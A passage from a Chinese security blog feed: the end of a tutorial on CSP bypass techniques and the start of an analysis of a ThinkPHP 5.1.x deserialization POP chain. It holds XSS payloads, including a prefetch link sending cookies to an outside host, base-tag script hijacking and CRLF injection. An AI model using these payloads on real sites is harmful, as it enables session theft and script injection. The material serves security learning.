dns-prefetch</h4><p>dns-prefetch(DNS预解析) 允许浏览器在后台提前将资源的域名转换为 IP 地址，当用户访问该资源时就可以加快 DNS 解析</p><p>在 <code>default-src &#39;self&#39;; script-src &#39;self&#39; &#39;unsafe-inline&#39;;</code> 时可以使用</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">"dns-prefetch"</span> <span class="attr">href</span>=<span class="string">"//[some thing].xxxx.ceye.io"</span>&gt;</span></span><br></pre></td></tr></table></figure><p>但是测试 FireFox 好像不大行</p><p>注意替换域名的特殊字符满足域名的规则 <code>[.-a-zA-Z0-9]+</code></p><h4 id="2-prefetch"><a href="#2-prefetch" class="headerlink" title="2. prefetch"></a>2. prefetch</h4><p><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Link_prefetching_FAQ" target="_blank" rel="noopener">Link Prefetch</a> (页面资源预加载)</p><blockquote><p>它利用浏览器的空闲时间来下载或预取用户可能在不久的将来访问的文档。<br>网页向浏览器提供一组预取提示，并且在浏览器完成页面加载后，它开始以静默方式预取指定的文档并将其存储在其缓存中</p></blockquote><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">"prefetch"</span> <span class="attr">href</span>=<span class="string">"http://www.xss.com/x.php?c=[cookie]"</span>&gt;</span></span><br></pre></td></tr></table></figure><p>但是本地测试新版 Chrome 和 FireFox 未成功</p><h3 id="标签补全"><a href="#标签补全" class="headerlink" title="标签补全"></a>标签补全</h3><p>比如使用 <code>Content-Security-Policy: default-src &#39;none&#39;;script-src &#39;nonce-abc&#39;</code>，当 nonce 相同才能执行脚本时</p><p>如果是类似下面情况</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>插入点<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">id</span>=<span class="string">"aa"</span> <span class="attr">nonce</span>=<span class="string">"abc"</span>&gt;</span><span class="javascript"><span class="built_in">document</span>.write(<span class="string">'CSP'</span>);</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>插入 <code>&lt;script src=//xxx x=&quot;</code>, 结果为</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">//xxx</span> <span class="attr">x</span>=<span class="string">"&lt;/p&gt;</span></span></span><br><span class="line"><span class="tag"><span class="string">&lt;script id="</span><span class="attr">aa</span>" <span class="attr">nonce</span>=<span class="string">"abc"</span>&gt;</span><span class="javascript"><span class="built_in">document</span>.write(<span class="string">'CSP'</span>);</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>虽然语法上提示有错误，但本地测试没有问题</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/csp-bypass.assets/7w6fAxl9bG2WFaU-20200109001529495.png" alt></p><p>xss 平台记录</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/csp-bypass.assets/q2C5pRsgaz7wFEr-20200109001532054.png" alt></p><h3 id="上传-JS-文件并引用"><a href="#上传-JS-文件并引用" class="headerlink" title="上传 JS 文件并引用"></a>上传 JS 文件并引用</h3><p><code>Content-Security-Policy: default-src &#39;self&#39;; script-src &#39;self&#39;</code></p><p>像这种只能加载同域 script 的 CSP 策略，就得从其自身域内下功夫了, 也可以控制其域内某个主机</p><p>其实也不一定非得是正常的 js 文件，如果有上传点，将 js 代码放在文件中，即文件中的内容被作为 js 代码解析</p><h3 id="base-标签改变资源加载域"><a href="#base-标签改变资源加载域" class="headerlink" title="base 标签改变资源加载域"></a>base 标签改变资源加载域</h3><p>default-src 默认并不会设置 base-uri，所以当遇到设置了 default-src 却没有 base-uri 时可以使用 base 标签更改页面上下文，这时页面中使用相对路径的 script 就可以加载 base 标签地址中相应的内容</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">"Content-Security-Policy"</span> <span class="attr">content</span>=<span class="string">"default-src 'self'; script-src 'nonce-test'"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">base</span> <span class="attr">href</span>=<span class="string">"//my_ip/"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">nonce</span>=<span class="string">'test'</span> <span class="attr">src</span>=<span class="string">"2.js"</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>script 会请求 <code>my_ip/2.js</code></p><h3 id="代码重用"><a href="#代码重用" class="headerlink" title="代码重用"></a>代码重用</h3><p>就是利用 JS 库绕过 CSP </p><p>Blackhat 2017</p><p><a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf" target="_blank" rel="noopener">Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf</a></p><h3 id="同源-iframe-绕过"><a href="#同源-iframe-绕过" class="headerlink" title="同源 iframe 绕过"></a>同源 iframe 绕过</h3><p>一个同源站点，存在多个页面，这时如果其中有一个页面没有 CSP 保护或者不严格而存在 XSS 漏洞，则可以使用 iframe 访问其他页面以绕过 CSP 限制</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">"other csp page"</span>&gt;</span><span class="tag">&lt;/<span class="name">iframe</span>&gt;</span></span><br><span class="line"></span><br><span class="line">或</span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="javascript"><span class="keyword">var</span> iframe = <span class="built_in">document</span>.createElement(<span class="string">'iframe'</span>);</span></span><br><span class="line"><span class="javascript">iframe.src=<span class="string">"other csp page"</span>;</span></span><br><span class="line"><span class="javascript"><span class="built_in">document</span>.body.appendChild(iframe);</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="meta-标签"><a href="#meta-标签" class="headerlink" title="meta 标签"></a>meta 标签</h3><p>绕过 CSP nonce</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">"cache-control"</span> <span class="attr">content</span>=<span class="string">"public"</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="svg-上传"><a href="#svg-上传" class="headerlink" title="svg 上传"></a>svg 上传</h3><p>如果能上传 svg 矢量图片的话，就可以使用 svg 进行 xss</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version="1.0" encoding="UTF-8" standalone="no"?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="meta-keyword">svg</span> <span class="meta-keyword">PUBLIC</span> <span class="meta-string">"-//W3C//DTD SVG 1.1//EN"</span> <span class="meta-string">"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">svg</span> <span class="attr">version</span>=<span class="string">"1.1"</span> <span class="attr">id</span>=<span class="string">"Layer_1"</span> <span class="attr">xmlns</span>=<span class="string">"http://www.w3.org/2000/svg"</span> <span class="attr">xmlns:xlink</span>=<span class="string">"http://www.w3.org/1999/xlink"</span> <span class="attr">x</span>=<span class="string">"0px"</span> <span class="attr">y</span>=<span class="string">"0px"</span> <span class="attr">width</span>=<span class="string">"100px"</span> <span class="attr">height</span>=<span class="string">"100px"</span> <span class="attr">viewBox</span>=<span class="string">"0 0 751 751"</span> <span class="attr">enable-background</span>=<span class="string">"new 0 0 751 751"</span> <span class="attr">xml:space</span>=<span class="string">"preserve"</span>&gt;</span>  <span class="tag">&lt;<span class="name">image</span> <span class="attr">id</span>=<span class="string">"image0"</span> <span class="attr">width</span>=<span class="string">"751"</span> <span class="attr">height</span>=<span class="string">"751"</span> <span class="attr">x</span>=<span class="string">"0"</span> <span class="attr">y</span>=<span class="string">"0"</span></span></span><br><span class="line"><span class="tag">    <span class="attr">href</span>=<span class="string">"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo"</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span>alert(1)<span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">svg</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="可控-JSONP-绕过"><a href="#可控-JSONP-绕过" class="headerlink" title="可控 JSONP 绕过"></a>可控 JSONP 绕过</h3><p>通过 JSONP 返回 js 数据，再借助 script 加载 js</p><p>举个栗子</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">"http://ip/js.php?f"</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>js.php 内容</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">header(<span class="string">'Content-type: application/javascript'</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_GET[<span class="string">'f'</span>]))</span><br><span class="line">&#123;</span><br><span class="line">        $src = <span class="string">'http://baidu.com'</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'window.location="'</span>.$src.<span class="string">'"'</span>; </span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>即可成功跳转，这种情况利用姿势很多，比如执行任意 js 函数等等</p><h3 id="object-src-绕过"><a href="#object-src-绕过" class="headerlink" title="object-src 绕过"></a>object-src 绕过</h3><p>object-src 用于设置插件，所以说，如果站点 CSP 设置没有 object-src 或值非 ‘none’ 则可以利用插件 js 执行弹窗或跳转操作</p><p>flash-xss 或者 pdf-xss</p><h3 id="缓存绕过-CSP-nonce"><a href="#缓存绕过-CSP-nonce" class="headerlink" title="缓存绕过 CSP nonce"></a>缓存绕过 CSP nonce</h3><p><a href="https://lorexxar.cn/2017/05/16/nonce-bypass-script/" target="_blank" rel="noopener">通过浏览器缓存来bypass CSP script nonce · LoRexxar&#39;s Blog</a></p><h3 id="CSS-选择器绕过-CSP"><a href="#CSS-选择器绕过-CSP" class="headerlink" title="CSS 选择器绕过 CSP"></a>CSS 选择器绕过 CSP</h3><p>CSS 选择器来读取页面内容，匹配到对应的属性，页面就会发出相应的请求</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">*[attribute^="a"]&#123;background:url("record?match=a")&#125; </span><br><span class="line">*[attribute^="b"]&#123;background:url("record?match=b")&#125; </span><br><span class="line">*[attribute^="c"]&#123;background:url("record?match=c")&#125; [...]</span><br></pre></td></tr></table></figure><h3 id="CRLF"><a href="#CRLF" class="headerlink" title="CRLF"></a>CRLF</h3><p>通过 CRLF 可以注入 HTTP 头，也就可以注入 xss 代码</p><p>比如</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://test.com/?url=%0d%0a%0d%0a<span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">1</span> <span class="attr">onerror</span>=<span class="string">alert(/xss/)</span>&gt;</span></span><br></pre></td></tr></table></figure><p>详细可以看  phithon 的文章 <a href="https://www.leavesongs.com/PENETRATION/Sina-CRLF-Injection.html" target="_blank" rel="noopener">CRLF Injection</a></p><h3 id="0x03-总结"><a href="#0x03-总结" class="headerlink" title="0x03 总结"></a>0x03 总结</h3><p>虽然 CSP 在很多时候并不能完全防御 XSS，但大多是因为配置不当等造成的，CSP 仍然有着它自身的价值，综合业务进行合理 CSP 配置并与其他技术结合才是正解</p><p>终极防护：全面禁止脚本</p><p>Reference:</p><p><a href="https://wulidecade.cn/2018/09/24/CSP-And-CSP-Bypass/" target="_blank" rel="noopener">https://wulidecade.cn/2018/09/24/CSP-And-CSP-Bypass/</a><br><a href="http://www.ruanyifeng.com/blog/2016/09/csp.html" target="_blank" rel="noopener">http://www.ruanyifeng.com/blog/2016/09/csp.html</a><br><a href="https://xz.aliyun.com/t/5084" target="_blank" rel="noopener">https://xz.aliyun.com/t/5084</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;点击阅读&lt;/p&gt;
    
    </summary>
    
    
      <category term="CSP" scheme="http://j0k3r.top/tags/CSP/"/>
    
      <category term="前端" scheme="http://j0k3r.top/tags/%E5%89%8D%E7%AB%AF/"/>
    
  </entry>
  
  <entry>
    <title>ThinkPHP v5.1.x POP 链分析</title>
    <link href="http://j0k3r.top/2019/10/12/ThinkPHP_pop_v5.1.x/"/>
    <id>http://j0k3r.top/2019/10/12/ThinkPHP_pop_v5.1.x/</id>
    <published>2019-10-11T16:00:00.000Z</published>
    <updated>2020-03-26T10:18:48.083Z</updated>
    
    <content type="html"><![CDATA[<p>文章首发于合天智汇：<a href="https://mp.weixin.qq.com/s/8dyuy-rW8-6isvHxmTI33A" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/8dyuy-rW8-6isvHxmTI33A</a></p><a id="more"></a><p>前段时间网上爆出 ThinkPHP 5.1.x 的 POP 链，早就想分析一下，正好最近有空，就记录一下吧</p><p>环境：</p><p>MacOS 10.13 </p><p>MAMAP Pro</p><p>php 7.0.33 + xdebug</p><p>Visual Studio Code</p><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><h3 id="我所理解的-POP-Chain："><a href="#我所理解的-POP-Chain：" class="headerlink" title="我所理解的 POP Chain："></a>我所理解的 POP Chain：</h3><p>利用魔术方法并巧妙构造特殊属性调用一系列函数或类方法以执行某种敏感操作的调用堆栈</p><h3 id="反序列化常用魔法函数"><a href="#反序列化常用魔法函数" class="headerlink" title="反序列化常用魔法函数"></a>反序列化常用魔法函数</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">__wakeup， unserialize() 执行前调用</span><br><span class="line"></span><br><span class="line">__destruct， 对销毁的时候调用</span><br><span class="line"></span><br><span class="line">__toString， 类被当成字符串时的回应方法</span><br><span class="line"></span><br><span class="line">__construct()，当对象创建(new)时会自动调用，注意在</span><br><span class="line"></span><br><span class="line">unserialize()时并不会自动调用</span><br><span class="line"></span><br><span class="line">__sleep()，serialize()时会先被调用</span><br><span class="line"></span><br><span class="line">__call()，在对象中调用一个不可访问方法时调用</span><br><span class="line"></span><br><span class="line">__callStatic()，用静态方式中调用一个不可访问方法时调用</span><br><span class="line"></span><br><span class="line">__get()，获得一个类的成员变量时调用</span><br><span class="line"></span><br><span class="line">__set()，设置一个类的成员变量时调用</span><br><span class="line"></span><br><span class="line">__isset()，当对不可访问属性调用isset()或empty()时调用</span><br><span class="line"></span><br><span class="line">__unset()，当对不可访问属性调用unset()时被调用。</span><br><span class="line"></span><br><span class="line">__wakeup()，执行unserialize()时，先会调用这个函数</span><br><span class="line"></span><br><span class="line">__toString()，类被当成字符串时的回应方法</span><br><span class="line"></span><br><span class="line">__invoke()，调用函数的方式调用一个对象时的回应方法</span><br><span class="line"></span><br><span class="line">__set_state()，调用var_export()导出类时，此静态方法会被调用。</span><br><span class="line"></span><br><span class="line">__clone()，当对象复制完成时调用</span><br><span class="line"></span><br><span class="line">__autoload()，尝试加载未定义的类</span><br><span class="line"></span><br><span class="line">__debugInfo()，打印所需调试信息</span><br></pre></td></tr></table></figure><h3 id="phar-文件通过-phar-伪协议拓宽攻击面"><a href="#phar-文件通过-phar-伪协议拓宽攻击面" class="headerlink" title="phar 文件通过 phar:// 伪协议拓宽攻击面"></a>phar 文件通过 phar:// 伪协议拓宽攻击面</h3><blockquote><p>因为 phar 文件会以序列化的形式存储用户自定义的meta-data，所以在文件系统函数（file_exists()、is_dir()等）参数可控的情况下，配合phar://伪协议，可以不依赖unserialize()直接进行反序列化操作,深入了解请至：<a href="https://paper.seebug.org/680/" target="_blank" rel="noopener">https://paper.seebug.org/680/</a></p></blockquote><table><thead><tr><th>受影响文件系统函数</th><th></th><th></th><th></th></tr></thead><tbody><tr><td>fileatime</td><td>filectime</td><td>file_exists</td><td>file_get_contents</td></tr><tr><td>file_put_contents</td><td>file</td><td>filegroup</td><td>fopen</td></tr><tr><td>fileinode</td><td>filemtime</td><td>fileowner</td><td>fileperms</td></tr><tr><td>is_dir</td><td>is_executable</td><td>is_file</td><td>is_link</td></tr><tr><td>is_readable</td><td>is_writable</td><td>is_writeable</td><td>parse_ini_file</td></tr><tr><td>copy</td><td>unlink</td><td>stat</td><td>readfile</td></tr></tbody></table><p>如果对反序列化没有了解的话建议先学习下相关内容</p><h2 id="ThinkPHP-v5-1-x-POP-链分析"><a href="#ThinkPHP-v5-1-x-POP-链分析" class="headerlink" title="ThinkPHP v5.1.x POP 链分析"></a>ThinkPHP v5.1.x POP 链分析</h2><h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><p>这里使用的是官方 ThinkPHP V5.1.38</p><p>composer 部署</p><p><code>composer create-project topthink/think=5.1.38 tp5.1.38</code></p><h3 id="利用链"><a href="#利用链" class="headerlink" title="利用链"></a>利用链</h3><p>全局搜索函数 <code>__destruct</code> </p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_pop_v5.1.x.assets/uxMZLERr74UgmIa.png" alt></p><p>来到 /thinkphp/library/think/process/pipes/Windows.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">   <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span></span><br><span class="line"><span class="function">   </span>&#123;</span><br><span class="line">       <span class="keyword">$this</span>-&gt;close();</span><br><span class="line">       <span class="keyword">$this</span>-&gt;removeFiles();</span><br><span class="line">   &#125;</span><br><span class="line">   </span><br><span class="line">. . .  . . . </span><br><span class="line"></span><br><span class="line">   <span class="comment">/**</span></span><br><span class="line"><span class="comment">    * 删除临时文件</span></span><br><span class="line"><span class="comment">    */</span></span><br><span class="line">   <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">removeFiles</span><span class="params">()</span></span></span><br><span class="line"><span class="function">   </span>&#123;</span><br><span class="line">       <span class="keyword">foreach</span> (<span class="keyword">$this</span>-&gt;files <span class="keyword">as</span> $filename) &#123;</span><br><span class="line">           <span class="keyword">if</span> (file_exists($filename)) &#123;</span><br><span class="line">               @unlink($filename);</span><br><span class="line">           &#125;</span><br><span class="line">       &#125;</span><br><span class="line">       <span class="keyword">$this</span>-&gt;files = [];</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure><p>看下 <code>file_exists</code> 的描述</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">file_exists ( string $filename ) : bool</span><br></pre></td></tr></table></figure><p>如果传入的 <code>$filename</code> 是个反序列化的对象，在被 file_exists 当作字符串处理的时候就会触发其 <code>__toString</code> 方法（如果有的话）</p><p>所以下面就是找含 <code>__toString</code> 方法的类</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_pop_v5.1.x.assets/qVYakLcwTsSpv1I.png" alt></p><p>来到 /thinkphp/library/think/model/concern/Conversion.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">toJson</span><span class="params">($options = JSON_UNESCAPED_UNICODE)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">return</span> json_encode(<span class="keyword">$this</span>-&gt;toArray(), $options);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">. . .   . . . </span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;toJson();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，在 <code>toJson()</code> 函数中又调用了 <code>toArray()</code> 函数</p><p>如果 <code>toArray()</code> 函数中存在并使用某个可控变量的方法，那么我们就可以利用这点去触发其他类的 <code>__call</code> 方法</p><p>下面是 <code>toArray()</code> 函数的定义，<code>$this-&gt;append</code> 作为类属性是可控的，所以 <code>$relation</code> 和 <code>$name</code> 也就可控了，于是 <code>$relation-&gt;visible($name);</code> 就成了这个 POP 链中的中间跳板</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">toArray</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $item       = [];</span><br><span class="line">    $hasVisible = <span class="keyword">false</span>;</span><br><span class="line"></span><br><span class="line">. . .   . . .</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 追加属性（必须定义获取器）</span></span><br><span class="line">    <span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="keyword">$this</span>-&gt;append)) &#123;</span><br><span class="line">        <span class="keyword">foreach</span> (<span class="keyword">$this</span>-&gt;append <span class="keyword">as</span> $key =&gt; $name) &#123;</span><br><span class="line">            <span class="keyword">if</span> (is_array($name)) &#123;</span><br><span class="line">                <span class="comment">// 追加关联对象属性</span></span><br><span class="line">                $relation = <span class="keyword">$this</span>-&gt;getRelation($key);</span><br><span class="line"></span><br><span class="line">                <span class="keyword">if</span> (!$relation) &#123;</span><br><span class="line">                    $relation = <span class="keyword">$this</span>-&gt;getAttr($key);</span><br><span class="line">                    <span class="keyword">if</span> ($relation) &#123;</span><br><span class="line">                        $relation-&gt;visible($name);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                $item[$key] = $relation ? $relation-&gt;append($name)-&gt;toArray() : [];</span><br><span class="line">            &#125; <span class="keyword">elseif</span> (strpos($name, <span class="string">'.'</span>)) &#123;</span><br><span class="line">         </span><br><span class="line">           . . .   . . .   </span><br><span class="line">      </span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                $item[$name] = <span class="keyword">$this</span>-&gt;getAttr($name, $item);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> $item;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那我们在这里应该传入怎么样的值以及什么数据呢，先看下 <code>$relation</code> 是如何处理得到的</p><p>跟进 getRelation，在 /thinkphp/library/think/model/concern/RelationShip.php 中找到函数定义</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">trait</span> RelationShip</span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line">. . .   . . . </span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取当前模型的关联模型数据</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span>  string $name 关联方法名</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> mixed</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getRelation</span><span class="params">($name = null)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (is_null($name)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;relation;</span><br><span class="line">        &#125; <span class="keyword">elseif</span> (array_key_exists($name, <span class="keyword">$this</span>-&gt;relation)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;relation[$name];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">. . .   . . . </span><br><span class="line">    </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>由于 getRelation 最终都会 <code>return;</code> 导致返回 NULL，所以 下面的 <code>if (!$relation)</code> 一定成立</p><p>所以直接跟进后面的 getAttr，在 /thinkphp/library/think/model/concern/Attribute.php 找到其定义</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">trait</span> Attribute</span><br><span 